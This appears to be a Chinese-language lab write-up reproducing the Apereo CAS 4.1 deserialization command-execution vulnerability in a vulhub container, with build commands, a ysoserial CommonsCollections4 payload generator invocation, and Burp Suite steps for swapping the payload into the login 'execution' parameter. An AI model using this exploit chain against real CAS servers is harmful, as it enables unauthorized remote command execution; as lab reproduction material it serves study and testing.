Apereo CAS 4.1 反序列化命令执行漏洞 (复现)

此漏洞需要用到工具Apereo-CAS-Attack,工具地址:https://github.com/vulhub/Apereo-CAS-Attack

还需要下载结合https://github.com/frohoff/ysoserial的CommonsCollections4链生成 Payload

上述工具下载完成后将ysoserial放在工具的根目录里

在根目录下打开终端执行以下命令将 jar 包安装到本地 Maven 仓库
点击查看代码

复制代码
mvn org.apache.maven.plugins:maven-install-plugin:2.5.2:install-file \
  -Dfile=ysoserial-all.jar \
  -DgroupId=ysoserial \
  -DartifactId=ysoserial \
  -Dversion=0.0.6 \
  -Dpackaging=jar \
  -DlocalRepositoryPath=my-repo

命令成功执行!!!

ysoserial会被安装到项目根目录的my-repo文件夹中,供 Maven 构建时引用

执行以下命令安装项目所需环境
点击查看代码

复制代码
# 更新包列表
sudo apt update

# 安装OpenJDK 8
sudo apt install openjdk-8-jdk -y

# 同样配置javac(编译器)
sudo update-alternatives --config javac
# 选择OpenJDK 8对应的javac路径

#执行以下代码
javac -version
若返回类似javac 1.8.0_xxx,说明 JDK 安装成功

执行代码mvn clean package assembly:single -DskipTests构建项目

执行成功示图如上,接下来就可以使用该工具生成payload了

漏洞目录终端下执行docker compose up -d开启容器访问ip:8080

生成恶意 Payload

利用漏洞工具Apereo-CAS-Attack(集成了默认密钥和序列化逻辑)生成加密后的恶意序列化数据
java -jar target/apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/cas_exploit_success"

生成 Payload(利用反序列化执行 touch /tmp/cas_exploit_success)

工具会输出一段 Base64 编码的长字符串;

接下来请出bp(burpsuite)抓包

网站首页使用测试账密test/test,输入后不要登陆!!!

回到bp点击proxy启动代理(浏览器也需要挂上bp的代理),点击登录开始抓包

鼠标右键点击那条POST命令send to repeater,切换到repeater界面

将第一步生成的Base64编码替换成execution参数的内容

点击Send,收到状态码500,不确定漏洞复现没,验证一下
java -jar target/apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/cas_exploit_success"

此命令是在服务器的/tmp目录下创建文件,只需要访问服务器这个位置查看是否成功创建文件即可验证是否成功

文件创建成功,该漏洞成功复现!!!